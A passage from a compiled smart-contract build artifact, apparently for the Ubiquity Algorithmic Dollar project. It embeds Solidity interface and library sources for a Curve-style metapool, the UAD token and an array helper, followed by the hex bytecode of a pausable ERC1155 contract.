TokenExchangeUnderlying(\\n address indexed buyer,\\n int128 sold_id,\\n uint256 tokens_sold,\\n int128 bought_id,\\n uint256 tokens_bought\\n );\\n event AddLiquidity(\\n address indexed provider,\\n uint256[2] token_amounts,\\n uint256[2] fees,\\n uint256 invariant,\\n uint256 token_supply\\n );\\n event RemoveLiquidity(\\n address indexed provider,\\n uint256[2] token_amounts,\\n uint256[2] fees,\\n uint256 token_supply\\n );\\n event RemoveLiquidityOne(\\n address indexed provider,\\n uint256 token_amount,\\n uint256 coin_amount,\\n uint256 token_supply\\n );\\n event RemoveLiquidityImbalance(\\n address indexed provider,\\n uint256[2] token_amounts,\\n uint256[2] fees,\\n uint256 invariant,\\n uint256 token_supply\\n );\\n event CommitNewAdmin(uint256 indexed deadline, address indexed admin);\\n event NewAdmin(address indexed admin);\\n event CommitNewFee(\\n uint256 indexed deadline,\\n uint256 fee,\\n uint256 admin_fee\\n );\\n event NewFee(uint256 fee, uint256 admin_fee);\\n event RampA(\\n uint256 old_A,\\n uint256 new_A,\\n uint256 initial_time,\\n uint256 future_time\\n );\\n event StopRampA(uint256 A, uint256 t);\\n\\n function initialize(\\n string memory _name,\\n string memory _symbol,\\n address _coin,\\n uint256 _decimals,\\n uint256 _A,\\n uint256 _fee,\\n address _admin\\n ) external;\\n\\n function decimals() external view returns (uint256);\\n\\n function transfer(address _to, uint256 _value) external returns (bool);\\n\\n function transferFrom(\\n address _from,\\n address _to,\\n uint256 _value\\n ) external returns (bool);\\n\\n function approve(address _spender, uint256 _value) external returns (bool);\\n\\n function get_previous_balances() external view returns (uint256[2] memory);\\n\\n function get_balances() external view returns (uint256[2] memory);\\n\\n function get_twap_balances(\\n uint256[2] memory _first_balances,\\n uint256[2] memory _last_balances,\\n uint256 _time_elapsed\\n ) external view returns (uint256[2] memory);\\n\\n function get_price_cumulative_last()\\n external\\n view\\n returns (uint256[2] memory);\\n\\n function admin_fee() external view returns (uint256);\\n\\n function A() external view returns (uint256);\\n\\n function A_precise() external view returns (uint256);\\n\\n function get_virtual_price() external view returns (uint256);\\n\\n function calc_token_amount(uint256[2] memory _amounts, bool _is_deposit)\\n external\\n view\\n returns (uint256);\\n\\n function calc_token_amount(\\n uint256[2] memory _amounts,\\n bool _is_deposit,\\n bool _previous\\n ) external view returns (uint256);\\n\\n function add_liquidity(uint256[2] memory _amounts, uint256 _min_mint_amount)\\n external\\n returns (uint256);\\n\\n function add_liquidity(\\n uint256[2] memory _amounts,\\n uint256 _min_mint_amount,\\n address _receiver\\n ) external returns (uint256);\\n\\n function get_dy(\\n int128 i,\\n int128 j,\\n uint256 dx\\n ) external view returns (uint256);\\n\\n function get_dy(\\n int128 i,\\n int128 j,\\n uint256 dx,\\n uint256[2] memory _balances\\n ) external view returns (uint256);\\n\\n function get_dy_underlying(\\n int128 i,\\n int128 j,\\n uint256 dx\\n ) external view returns (uint256);\\n\\n function get_dy_underlying(\\n int128 i,\\n int128 j,\\n uint256 dx,\\n uint256[2] memory _balances\\n ) external view returns (uint256);\\n\\n function exchange(\\n int128 i,\\n int128 j,\\n uint256 dx,\\n uint256 min_dy\\n ) external returns (uint256);\\n\\n function exchange(\\n int128 i,\\n int128 j,\\n uint256 dx,\\n uint256 min_dy,\\n address _receiver\\n ) external returns (uint256);\\n\\n function exchange_underlying(\\n int128 i,\\n int128 j,\\n uint256 dx,\\n uint256 min_dy\\n ) external returns (uint256);\\n\\n function exchange_underlying(\\n int128 i,\\n int128 j,\\n uint256 dx,\\n uint256 min_dy,\\n address _receiver\\n ) external returns (uint256);\\n\\n function remove_liquidity(\\n uint256 _burn_amount,\\n uint256[2] memory _min_amounts\\n ) external returns (uint256[2] memory);\\n\\n function remove_liquidity(\\n uint256 _burn_amount,\\n uint256[2] memory _min_amounts,\\n address _receiver\\n ) external returns (uint256[2] memory);\\n\\n function remove_liquidity_imbalance(\\n uint256[2] memory _amounts,\\n uint256 _max_burn_amount\\n ) external returns (uint256);\\n\\n function remove_liquidity_imbalance(\\n uint256[2] memory _amounts,\\n uint256 _max_burn_amount,\\n address _receiver\\n ) external returns (uint256);\\n\\n function calc_withdraw_one_coin(uint256 _burn_amount, int128 i)\\n external\\n view\\n returns (uint256);\\n\\n function calc_withdraw_one_coin(\\n uint256 _burn_amount,\\n int128 i,\\n bool _previous\\n ) external view returns (uint256);\\n\\n function remove_liquidity_one_coin(\\n uint256 _burn_amount,\\n int128 i,\\n uint256 _min_received\\n ) external returns (uint256);\\n\\n function remove_liquidity_one_coin(\\n uint256 _burn_amount,\\n int128 i,\\n uint256 _min_received,\\n address _receiver\\n ) external returns (uint256);\\n\\n function ramp_A(uint256 _future_A, uint256 _future_time) external;\\n\\n function stop_ramp_A() external;\\n\\n function admin_balances(uint256 i) external view returns (uint256);\\n\\n function withdraw_admin_fees() external;\\n\\n function admin() external view returns (address);\\n\\n function coins(uint256 arg0) external view returns (address);\\n\\n function balances(uint256 arg0) external view returns (uint256);\\n\\n function fee() external view returns (uint256);\\n\\n function block_timestamp_last() external view returns (uint256);\\n\\n function initial_A() external view returns (uint256);\\n\\n function future_A() external view returns (uint256);\\n\\n function initial_A_time() external view returns (uint256);\\n\\n function future_A_time() external view returns (uint256);\\n\\n function name() external view returns (string memory);\\n\\n function symbol() external view returns (string memory);\\n\\n function balanceOf(address arg0) external view returns (uint256);\\n\\n function allowance(address arg0, address arg1)\\n external\\n view\\n returns (uint256);\\n\\n function totalSupply() external view returns (uint256);\\n}\\n\",\"keccak256\":\"0xc89cc32a2a8a0336c380ed2ae3c3b5a9292cf1cd431cc09dec4d3057389ed893\",\"license\":\"UNLICENSED\"},\"contracts/interfaces/IUbiquityAlgorithmicDollar.sol\":{\"content\":\"// SPDX-License-Identifier: Apache-2.0\\npragma solidity ^0.8.3;\\n\\nimport \\\"./IERC20Ubiquity.sol\\\";\\n\\n/// @title UAD stablecoin interface\\n/// @author Ubiquity Algorithmic Dollar\\ninterface IUbiquityAlgorithmicDollar is IERC20Ubiquity {\\n event IncentiveContractUpdate(\\n address indexed _incentivized,\\n address indexed _incentiveContract\\n );\\n\\n function setIncentiveContract(address account, address incentive) external;\\n\\n function incentiveContract(address account) external view returns (address);\\n}\\n\",\"keccak256\":\"0x34469f12207adbfd6003ce7710ddc7b0ee3c1637b5d7fbac2b35c9e3fe3b6182\",\"license\":\"Apache-2.0\"},\"contracts/utils/SafeAddArray.sol\":{\"content\":\"// SPDX-License-Identifier: MIT\\n\\n// SPDX-License-Identifier: EUPL V1.2\\npragma solidity ^0.8.3;\\n\\n/**\\n * @dev Wrappers over Solidity's array push operations with added check\\n *\\n */\\nlibrary SafeAddArray {\\n /**\\n * @dev Returns the addition of two unsigned integers, reverting on\\n * overflow.\\n *\\n */\\n function add(bytes32[] storage array, bytes32 value) internal {\\n for (uint256 i; i < array.length; i++) {\\n if (array[i] == value) {\\n return;\\n }\\n }\\n array.push(value);\\n }\\n\\n function add(string[] storage array, string memory value) internal {\\n bytes32 hashValue = keccak256(bytes(value));\\n for (uint256 i; i < array.length; i++) {\\n if (keccak256(bytes(array[i])) == hashValue) {\\n return;\\n }\\n }\\n array.push(value);\\n }\\n\\n function add(uint256[] storage array, uint256 value) internal {\\n for (uint256 i; i < array.length; i++) {\\n if (array[i] == value) {\\n return;\\n }\\n }\\n array.push(value);\\n }\\n\\n function add(uint256[] storage array, uint256[] memory values) internal {\\n for (uint256 i; i < values.length; i++) {\\n bool exist = false;\\n for (uint256 j; j < array.length; j++) {\\n if (array[j] == values[i]) {\\n exist = true;\\n break;\\n }\\n }\\n if (!exist) {\\n array.push(values[i]);\\n }\\n }\\n }\\n}\\n\",\"keccak256\":\"0x91fe76b3329822312f636237bc19bf8d5b1943b489c782b997cde6e1c9bc47af\",\"license\":\"MIT\"}},\"version\":1}", - "bytecode": "0x60806040523480156200001157600080fd5b5060405162002edb38038062002edb83398101604081905262000034916200012c565b8062000040816200006d565b5050600380546001600160a01b03909216610100026001600160a81b031990921691909117905562000278565b80516200008290600290602084019062000086565b5050565b828054620000949062000225565b90600052602060002090601f016020900481019282620000b8576000855562000103565b82601f10620000d357805160ff191683800117855562000103565b8280016001018555821562000103579182015b8281111562000103578251825591602001919060010190620000e6565b506200011192915062000115565b5090565b5b8082111562000111576000815560010162000116565b600080604083850312156200013f578182fd5b82516001600160a01b038116811462000156578283fd5b602084810151919350906001600160401b038082111562000175578384fd5b818601915086601f83011262000189578384fd5b8151818111156200019e576200019e62000262565b604051601f8201601f19908116603f01168101908382118183101715620001c957620001c962000262565b816040528281528986848701011115620001e1578687fd5b8693505b82841015620002045784840186015181850187015292850192620001e5565b828411156200021557868684830101525b8096505050505050509250929050565b600181811c908216806200023a57607f821691505b602082108114156200025c57634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052604160045260246000fd5b612c5380620002886000396000f3fe608060405234801561001057600080fd5b506004361061016b5760003560e01c80636b20c454116100cd578063a7573cea11610081578063e985e9c511610066578063e985e9c514610330578063f242432a1461036c578063f5298aca1461037f5761016b565b8063a7573cea146102b5578063d8fe7642146102c85761016b565b80638456cb59116100b25780638456cb5914610287578063a22cb4651461028f578063a647e8ec146102a25761016b565b80636b20c454146102615780637b48c3fd146102745761016b565b80632eb2c2d611610124578063481c6a7511610109578063481c6a75146102065780634e1273f4146102365780635c975abb146102565761016b565b80632eb2c2d6146101e95780633f4ba83a146101fe5761016b565b80630e89341c116101555780630e89341c146101b9578063132c4feb146101d957806318160ddd146101e15761016b565b8062fdd58e1461017057806301ffc9a714610196575b600080fd5b61018361017e3660046126e7565b610392565b6040519081526020015b60405180910390f35b6101a96101a4366004612879565b61043b565b604051901515815260200161018d565b6101cc6101c73660046128b1565b61048f565b60405161018d9190612a61565b610183610523565b600754610183565b6101fc6101f7366004612537565b61052a565b005b6101fc6105a6565b60035461021e9061010090046001600160a01b031681565b6040516001600160a01b03909116815260200161018d565b61024961024436600461277a565b6106fa565b60405161018d9190612a20565b60035460ff166101a9565b6101fc61026f366004612640565b610870565b6102496102823660046124e4565b6108fa565b6101fc610965565b6101fc61029d3660046126b1565b610ab7565b6101836102b0366004612742565b610baf565b6101fc6102c33660046128c9565b610e2a565b6102db6102d63660046128b1565b611038565b60405161018d9190600060c0820190506001600160a01b0383511682526020830151602083015260408301516040830152606083015160608301526080830151608083015260a083015160a083015292915050565b6101a961033e366004612505565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205460ff1690565b6101fc61037a3660046125dd565b6110d9565b6101fc61038d366004612710565b61114e565b60006001600160a01b0383166104155760405162461bcd60e51b815260206004820152602b60248201527f455243313135353a2062616c616e636520717565727920666f7220746865207a60448201527f65726f206164647265737300000000000000000000000000000000000000000060648201526084015b60405180910390fd5b506000908152602081815260408083206001600160a01b03949094168352929052205490565b60006001600160e01b03198216636cdb3d1360e11b148061046c57506001600160e01b031982166303a24d0760e21b145b8061048757506301ffc9a760e01b6001600160e01b03198316145b90505b919050565b60606002805461049e90612ac7565b80601f01602080910402602001604051908101604052809291908181526020018280546104ca90612ac7565b80156105175780601f106104ec57610100808354040283529160200191610517565b820191906000526020600020905b8154815290600101906020018083116104fa57829003601f168201915b50505050509050919050565b6006545b90565b60035460ff16156105705760405162461bcd60e51b815260206004820152601060248201526f14185d5cd8589b194e881c185d5cd95960821b604482015260640161040c565b61057d85858585856111d3565b6001600160a01b038416600090815260046020526040902061059f908461126e565b5050505050565b6003546040805163e63ab1e960e01b815290516101009092046001600160a01b0316916391d1485491839163e63ab1e991600480820192602092909190829003018186803b1580156105f757600080fd5b505afa15801561060b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061062f9190612861565b6040516001600160e01b031960e084901b168152600481019190915233602482015260440160206040518083038186803b15801561066c57600080fd5b505afa158015610680573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106a49190612845565b6106f05760405162461bcd60e51b815260206004820152601c60248201527f476f7665726e616e636520746f6b656e3a206e6f742070617573657200000000604482015260640161040c565b6106f8611355565b565b606081518351146107735760405162461bcd60e51b815260206004820152602960248201527f455243313135353a206163636f756e747320616e6420696473206c656e67746860448201527f206d69736d617463680000000000000000000000000000000000000000000000606482015260840161040c565b6000835167ffffffffffffffff81111561079d57634e487b7160e01b600052604160045260246000fd5b6040519080825280602002602001820160405280156107c6578160200160208202803683370190505b50905060005b84518110156108685761082d8582815181106107f857634e487b7160e01b600052603260045260246000fd5b602002602001015185838151811061082057634e487b7160e01b600052603260045260246000fd5b6020026020010151610392565b82828151811061084d57634e487b7160e01b600052603260045260246000fd5b602090810291909101015261086181612b2f565b90506107cc565b509392505050565b6001600160a01b03831633148061088c575061088c833361033e565b6108ea5760405162461bcd60e51b815260206004820152602960248201527f455243313135353a2063616c6c6572206973206e6f74206f776e6572206e6f7260448201526808185c1c1c9bdd995960ba1b606482015260840161040c565b6108f58383836113f1565b505050565b6001600160a01b03811660009081526004602090815260409182902080548351818402810184019094528084526060939283018282801561051757602002820191906000526020600020905b8154815260200190600101908083116109465750505050509050919050565b6003546040805163e63ab1e960e01b815290516101009092046001600160a01b0316916391d1485491839163e63ab1e991600480820192602092909190829003018186803b1580156109b657600080fd5b505afa1580156109ca573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109ee9190612861565b6040516001600160e01b031960e084901b168152600481019190915233602482015260440160206040518083038186803b158015610a2b57600080fd5b505afa158015610a3f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a639190612845565b610aaf5760405162461bcd60e51b815260206004820152601c60248201527f476f7665726e616e636520746f6b656e3a206e6f742070617573657200000000604482015260640161040c565b6106f86114a3565b336001600160a01b0383161415610b365760405162461bcd60e51b815260206004820152602960248201527f455243313135353a2073657474696e6720617070726f76616c2073746174757360448201527f20666f722073656c660000000000000000000000000000000000000000000000606482015260840161040c565b3360008181526001602090815260408083206001600160a01b0387168085529252909120805460ff1916841515179055906001600160a01b03167f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c3183604051610ba3911515815260200190565b60405180910390a35050565b60035460408051632f533cb760e01b8152905160009261010090046001600160a01b0316916391d14854918391632f533cb7916004808301926020929190829003018186803b158015610c0157600080fd5b505afa158015610c15573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c399190612861565b6040516001600160e01b031960e084901b168152600481019190915233602482015260440160206040518083038186803b158015610c7657600080fd5b505afa158015610c8a573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610cae9190612845565b610cfa5760405162461bcd60e51b815260206004820152601c60248201527f476f7665726e616e636520746f6b656e3a206e6f74206d696e74657200000000604482015260640161040c565b60035460ff1615610d405760405162461bcd60e51b815260206004820152601060248201526f14185d5cd8589b194e881c185d5cd95960821b604482015260640161040c565b600754610d4e906001612a98565b9050610d6c858260016040518060200160405280600081525061151e565b600160076000828254610d7f9190612a98565b90915550506001600160a01b0385166000908152600460205260409020610da6908261162e565b6000818152600560208190526040822080547fffffffffffffffffffffffff0000000000000000000000000000000000000000166001600160a01b0389161781556001810187905590810186905560038101859055436002820155600481018490556006805491928792610e1b908490612a98565b90915550919695505050505050565b60035460408051632f533cb760e01b815290516101009092046001600160a01b0316916391d14854918391632f533cb791600480820192602092909190829003018186803b158015610e7b57600080fd5b505afa158015610e8f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610eb39190612861565b6040516001600160e01b031960e084901b168152600481019190915233602482015260440160206040518083038186803b158015610ef057600080fd5b505afa158015610f04573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f289190612845565b610f745760405162461bcd60e51b815260206004820152601c60248201527f476f7665726e616e636520746f6b656e3a206e6f74206d696e74657200000000604482015260640161040c565b60035460ff1615610fba5760405162461bcd60e51b815260206004820152601060248201526f14185d5cd8589b194e881c185d5cd95960821b604482015260640161040c565b60008481526005602081905260409091209081015484811115610ffd57610fe18582612ab0565b60066000828254610ff29190612ab0565b9091555061101e9050565b6110078186612ab0565b600660008282546110189190612a98565b90915550505b506005810193909355600383019190915560049091015550565b61107a6040518060c0016040528060006001600160a01b0316815260200160008152602001600081526020016000815260200160008152602001600081525090565b50600090815260056020818152604092839020835160c08101855281546001600160a01b03168152600182015492810192909252600281015493820193909352600383015460608201526004830154608082015291015460a082015290565b60035460ff161561111f5760405162461bcd60e51b815260206004820152601060248201526f14185d5cd8589b194e881c185d5cd95960821b604482015260640161040c565b61112c858585858561169f565b6001600160a01b038416600090815260046020526040902061059f908461162e565b6001600160a01b03831633148061116a575061116a833361033e565b6111c85760405162461bcd60e51b815260206004820152602960248201527f455243313135353a2063616c6c6572206973206e6f74206f776e6572206e6f7260448201526808185c1c1c9bdd995960ba1b606482015260840161040c565b6108f5838383611726565b6001600160a01b0385163314806111ef57506111ef853361033e565b6112615760405162461bcd60e51b815260206004820152603260248201527f455243313135353a207472616e736665722063616c6c6572206973206e6f742060448201527f6f776e6572206e6f7220617070726f7665640000000000000000000000000000606482015260840161040c565b61059f8585858585611848565b60005b81518110156108f5576000805b84548110156112fb578383815181106112a757634e487b7160e01b600052603260045260246000fd5b60200260200101518582815481106112cf57634e487b7160e01b600052603260045260246000fd5b906000526020600020015414156112e957600191506112fb565b806112f381612b2f565b91505061127e565b5080611342578383838151811061132257634e487b7160e01b600052603260045260246000fd5b602090810291909101810151825460018101845560009384529190922001555b508061134d81612b2f565b915050611271565b60035460ff166113a75760405162461bcd60e51b815260206004820152601460248201527f5061757361626c653a206e6f7420706175736564000000000000000000000000604482015260640161040c565b6003805460ff191690557f5db9ee0a495bf2e6ff9c91a7834c1ba4fdd244a5e8aa4e537bd38aeae4b073aa335b6040516001600160a01b03909116815260200160405180910390a1565b60035460ff16156114375760405162461bcd60e51b815260206004820152601060248201526f14185d5cd8589b194e881c185d5cd95960821b604482015260640161040c565b611442838383611ad0565b60005b825181101561149d5781818151811061146e57634e487b7160e01b600052603260045260246000fd5b6020026020010151600760008282546114879190612ab0565b90915550611496905081612b2f565b9050611445565b50505050565b60035460ff16156114e95760405162461bcd60e51b815260206004820152601060248201526f14185d5cd8589b194e881c185d5cd95960821b604482015260640161040c565b6003805460ff191660011790557f62e78cea01bee320cd4e420270b5ea74000d11b0c9f74754ebdbfc544b05a2586113d43390565b6001600160a01b03841661157e5760405162461bcd60e51b815260206004820152602160248201527f455243313135353a206d696e7420746f20746865207a65726f206164647265736044820152607360f81b606482015260840161040c565b3361159e8160008761158f88611d33565b61159888611d33565b87611d8c565b6000848152602081815260408083206001600160a01b0389168452909152812080548592906115ce908490612a98565b909155505060408051858152602081018590526001600160a01b0380881692600092918516917fc3d58168c5ae7397731d063d5bbf3d657854427343f4c083240f7aacaa2d0f62910160405180910390a461059f81600087878787611d9a565b60005b8254811015611684578183828154811061165b57634e487b7160e01b600052603260045260246000fd5b90600052602060002001541415611672575061169b565b8061167c81612b2f565b915050611631565b508154600181018355600083815260209020018190555b5050565b6001600160a01b0385163314806116bb57506116bb853361033e565b6117195760405162461bcd60e51b815260206004820152602960248201527f455243313135353a2063616c6c6572206973206e6f74206f776e6572206e6f7260448201526808185c1c1c9bdd995960ba1b606482015260840161040c565b61059f8585858585611f58565b60035460ff161561176c5760405162461bcd60e51b815260206004820152601060248201526f14185d5cd8589b194e881c185d5cd95960821b604482015260640161040c565b806001146117bc5760405162461bcd60e51b815260206004820152600b60248201527f616d6f756e74203c3e2031000000000000000000000000000000000000000000604482015260640161040c565b6117c8838360016120ed565b6000828152600560208190526040909120908101541561182a5760405162461bcd60e51b815260206004820152600760248201527f4c50203c3e203000000000000000000000000000000000000000000000000000604482015260640161040c565b60016007600082825461183d9190612ab0565b909155505050505050565b81518351146118aa5760405162461bcd60e51b815260206004820152602860248201527f455243313135353a2069647320616e6420616d6f756e7473206c656e677468206044820152670dad2e6dac2e8c6d60c31b606482015260840161040c565b6001600160a01b03841661190e5760405162461bcd60e51b815260206004820152602560248201527f455243313135353a207472616e7366657220746f20746865207a65726f206164604482015264647265737360d81b606482015260840161040c565b3361191d818787878787611d8c565b60005b8451811015611a6257600085828151811061194b57634e487b7160e01b600052603260045260246000fd5b60200260200101519050600085838151811061197757634e487b7160e01b600052603260045260246000fd5b602090810291909101810151600084815280835260408082206001600160a01b038e168352909352919091205490915081811015611a0a5760405162461bcd60e51b815260206004820152602a60248201527f455243313135353a20696e73756666696369656e742062616c616e636520666f60448201526939103a3930b739b332b960b11b606482015260840161040c565b6000838152602081815260408083206001600160a01b038e8116855292528083208585039055908b16825281208054849290611a47908490612a98565b9250508190555050505080611a5b90612b2f565b9050611920565b50846001600160a01b0316866001600160a01b0316826001600160a01b03167f4a39dc06d4c0dbc64b70af90fd698a233a518aa5d07e595d983b8c0526c8f7fb8787604051611ab2929190612a33565b60405180910390a4611ac8818787878787612266565b505050505050565b6001600160a01b038316611b325760405162461bcd60e51b815260206004820152602360248201527f455243313135353a206275726e2066726f6d20746865207a65726f206164647260448201526265737360e81b606482015260840161040c565b8051825114611b945760405162461bcd60e51b815260206004820152602860248201527f455243313135353a2069647320616e6420616d6f756e7473206c656e677468206044820152670dad2e6dac2e8c6d60c31b606482015260840161040c565b6000339050611bb781856000868660405180602001604052806000815250611d8c565b60005b8351811015611cd4576000848281518110611be557634e487b7160e01b600052603260045260246000fd5b602002602001015190506000848381518110611c1157634e487b7160e01b600052603260045260246000fd5b602090810291909101810151600084815280835260408082206001600160a01b038c168352909352919091205490915081811015611c9d5760405162461bcd60e51b8152602060048201526024808201527f455243313135353a206275726e20616d6f756e7420657863656564732062616c604482015263616e636560e01b606482015260840161040c565b6000928352602083815260408085206001600160a01b038b1686529091529092209103905580611ccc81612b2f565b915050611bba565b5060006001600160a01b0316846001600160a01b0316826001600160a01b03167f4a39dc06d4c0dbc64b70af90fd698a233a518aa5d07e595d983b8c0526c8f7fb8686604051611d25929190612a33565b60405180910390a450505050565b60408051600180825281830190925260609160009190602080830190803683370190505090508281600081518110611d7b57634e487b7160e01b600052603260045260246000fd5b602090810291909101015292915050565b611ac8868686868686612371565b6001600160a01b0384163b15611ac85760405163f23a6e6160e01b81526001600160a01b0385169063f23a6e6190611dde90899089908890889088906004016129dd565b602060405180830381600087803b158015611df857600080fd5b505af1925050508015611e28575060408051601f3d908101601f19168201909252611e2591810190612895565b60015b611ede57611e34612b76565b806308c379a01415611e6e5750611e49612b8d565b80611e545750611e70565b8060405162461bcd60e51b815260040161040c9190612a61565b505b60405162461bcd60e51b815260206004820152603460248201527f455243313135353a207472616e7366657220746f206e6f6e204552433131353560448201527f526563656976657220696d706c656d656e746572000000000000000000000000606482015260840161040c565b6001600160e01b0319811663f23a6e6160e01b14611f4f5760405162461bcd60e51b815260206004820152602860248201527f455243313135353a204552433131353552656365697665722072656a656374656044820152676420746f6b656e7360c01b606482015260840161040c565b50505050505050565b6001600160a01b038416611fbc5760405162461bcd60e51b815260206004820152602560248201527f455243313135353a207472616e7366657220746f20746865207a65726f206164604482015264647265737360d81b606482015260840161040c565b33611fcc81878761158f88611d33565b6000848152602081815260408083206001600160a01b038a168452909152902054838110156120505760405162461bcd60e51b815260206004820152602a60248201527f455243313135353a20696e73756666696369656e742062616c616e636520666f60448201526939103a3930b739b332b960b11b606482015260840161040c565b6000858152602081815260408083206001600160a01b038b811685529252808320878503905590881682528120805486929061208d908490612a98565b909155505060408051868152602081018690526001600160a01b03808916928a821692918616917fc3d58168c5ae7397731d063d5bbf3d657854427343f4c083240f7aacaa2d0f62910160405180910390a4611f4f828888888888611d9a565b6001600160a01b03831661214f5760405162461bcd60e51b815260206004820152602360248201527f455243313135353a206275726e2066726f6d20746865207a65726f206164647260448201526265737360e81b606482015260840161040c565b3361217e8185600061216087611d33565b61216987611d33565b60405180602001604052806000815250611d8c565b6000838152602081815260408083206001600160a01b0388168452909152902054828110156121fb5760405162461bcd60e51b8152602060048201526024808201527f455243313135353a206275726e20616d6f756e7420657863656564732062616c604482015263616e636560e01b606482015260840161040c565b6000848152602081815260408083206001600160a01b03898116808652918452828520888703905582518981529384018890529092908616917fc3d58168c5ae7397731d063d5bbf3d657854427343f4c083240f7aacaa2d0f62910160405180910390a45050505050565b6001600160a01b0384163b15611ac85760405163bc197c8160e01b81526001600160a01b0385169063bc197c81906122aa908990899088908890889060040161297f565b602060405180830381600087803b1580156122c457600080fd5b505af19250505080156122f4575060408051601f3d908101601f191682019092526122f191810190612895565b60015b61230057611e34612b76565b6001600160e01b0319811663bc197c8160e01b14611f4f5760405162461bcd60e51b815260206004820152602860248201527f455243313135353a204552433131353552656365697665722072656a656374656044820152676420746f6b656e7360c01b606482015260840161040c565b60035460ff1615611ac85760405162461bcd60e51b815260206004820152602c60248201527f455243313135355061757361626c653a20746f6b656e207472616e736665722060448201527f7768696c65207061757365640000000000000000000000000000000000000000606482015260840161040c565b80356001600160a01b038116811461048a57600080fd5b600082601f830112612411578081fd5b8135602061241e82612a74565b60405161242b8282612b02565b8381528281019150858301600585901b8701840188101561244a578586fd5b855b858110156124685781358452928401929084019060010161244c565b5090979650505050505050565b600082601f830112612485578081fd5b813567ffffffffffffffff81111561249f5761249f612b60565b6040516124b6601f8301601f191660200182612b02565b8181528460208386010111156124ca578283fd5b816020850160208301379081016020019190915292915050565b6000602082840312156124f5578081fd5b6124fe826123ea565b9392505050565b60008060408385031215612517578081fd5b612520836123ea565b915061252e602084016123ea565b90509250929050565b600080600080600060a0868803121561254e578081fd5b612557866123ea565b9450612565602087016123ea565b9350604086013567ffffffffffffffff80821115612581578283fd5b61258d89838a01612401565b945060608801359150808211156125a2578283fd5b6125ae89838a01612401565b935060808801359150808211156125c3578283fd5b506125d088828901612475565b9150509295509295909350565b600080600080600060a086880312156125f4578081fd5b6125fd866123ea565b945061260b602087016123ea565b93506040860135925060608601359150608086013567ffffffffffffffff811115612634578182fd5b6125d088828901612475565b600080600060608486031215612654578283fd5b61265d846123ea565b9250602084013567ffffffffffffffff80821115612679578384fd5b61268587838801612401565b9350604086013591508082111561269a578283fd5b506126a786828701612401565b9150509250925092565b600080604083850312156126c3578182fd5b6126cc836123ea565b915060208301356126dc81612c1f565b809150509250929050565b600080604083850312156126f9578182fd5b612702836123ea565b946020939093013593505050565b600080600060608486031215612724578283fd5b61272d846123ea565b95602085013595506040909401359392505050565b60008060008060808587031215612757578182fd5b612760856123ea565b966020860135965060408601359560600135945092505050565b6000806040838503121561278c578182fd5b823567ffffffffffffffff808211156127a3578384fd5b818501915085601f8301126127b6578384fd5b813560206127c382612a74565b6040516127d08282612b02565b8381528281019150858301600585901b870184018b10156127ef578889fd5b8896505b8487101561281857612804816123ea565b8352600196909601959183019183016127f3565b509650508601359250508082111561282e578283fd5b5061283b85828601612401565b9150509250929050565b600060208284031215612856578081fd5b81516124fe81612c1f565b600060208284031215612872578081fd5b5051919050565b60006020828403121561288a578081fd5b81356124fe81612c30565b6000602082840312156128a6578081fd5b81516124fe81612c30565b6000602082840312156128c2578081fd5b5035919050565b600080600080608085870312156128de578182fd5b5050823594602084013594506040840135936060013592509050565b6000815180845260208085019450808401835b838110156129295781518752958201959082019060010161290d565b509495945050505050565b60008151808452815b818110156129595760208185018101518683018201520161293d565b8181111561296a5782602083870101525b50601f01601f19169290920160200192915050565b60006001600160a01b03808816835280871660208401525060a060408301526129ab60a08301866128fa565b82810360608401526129bd81866128fa565b905082810360808401526129d18185612934565b98975050505050505050565b60006001600160a01b03808816835280871660208401525084604083015283606083015260a06080830152612a1560a0830184612934565b979650505050505050565b6000602082526124fe60208301846128fa565b600060408252612a4660408301856128fa565b8281036020840152612a5881856128fa565b95945050505050565b6000602082526124fe6020830184612934565b600067ffffffffffffffff821115612a8e57612a8e612b60565b5060051b60200190565b60008219821115612aab57612aab612b4a565b500190565b600082821015612ac257612ac2612b4a565b500390565b600181811c90821680612adb57607f821691505b60208210811415612afc57634e487b7160e01b600052602260045260246000fd5b50919050565b601f8201601f1916810167ffffffffffffffff81118282101715612b2857612b28612b60565b6040525050565b6000600019821415612b4357612b43612b4a565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fd5b600060033d111561052757600481823e5160e01c90565b600060443d1015612b9d57610527565b6040516003193d81016004833e81513d67ffffffffffffffff8160248401118184111715612bcf575050505050610527565b8285019150815181811115612be957505050505050610527565b843d8701016020828501011115612c0557505050505050610527565b612c1460208286010187612b02565b509094505050505090565b8015158114612c2d57600080fd5b50565b6001600160e01b031981168114612c2d57600080fdfea164736f6c6343000803000a", - "deployedBytecode": "0x608060405234801561001057600080fd5b506004361061016b5760003560e01c80636b20c454116100cd578063a7573cea11610081578063e985e9c511610066578063e985e9c514610330578063f242432a1461036c578063f5298aca1461037f5761016b565b8063a7573cea146102b5578063d8fe7642146102c85761016b565b80638456cb59116100b25780638456cb5914610287578063a22cb4651461028f578063a647e8ec146102a25761016b565b80636b20c454146102615780637b48c3fd146102745761016b565b80632eb2c2d611610124578063481c6a7511610109578063481c6a75146102065780634e1273f4146102365780635c975abb146102565761016b565b80632eb2c2d6146101e95780633f4ba83a146101fe5761016b565b80630e89341c116101555780630e89341c146101b9578063132c4feb146101d957806318160ddd146101e15761016b565b8062fdd58e1461017057806301ffc9a714610196575b600080fd5b61018361017e3660046126e7565b610392565b6040519081526020015b60405180910390f35b6101a96101a4366004612879565b61043b565b604051901515815260200161018d565b6101cc6101c73660046128b1565b61048f565b60405161018d9190612a61565b610183610523565b600754610183565b6101fc6101f7366004612537565b61052a565b005b6101fc6105a6565b60035461021e9061010090046001600160a01b031681565b6040516001600160a01b03909116815260200161018d565b61024961024436600461277a565b6106fa565b60405161018d9190612a20565b60035460ff166101a9565b6101fc61026f366004612640565b610870565b6102496102823660046124e4565b6108fa565b6101fc610965565b6101fc61029d3660046126b1565b610ab7565b6101836102b0366004612742565b610baf5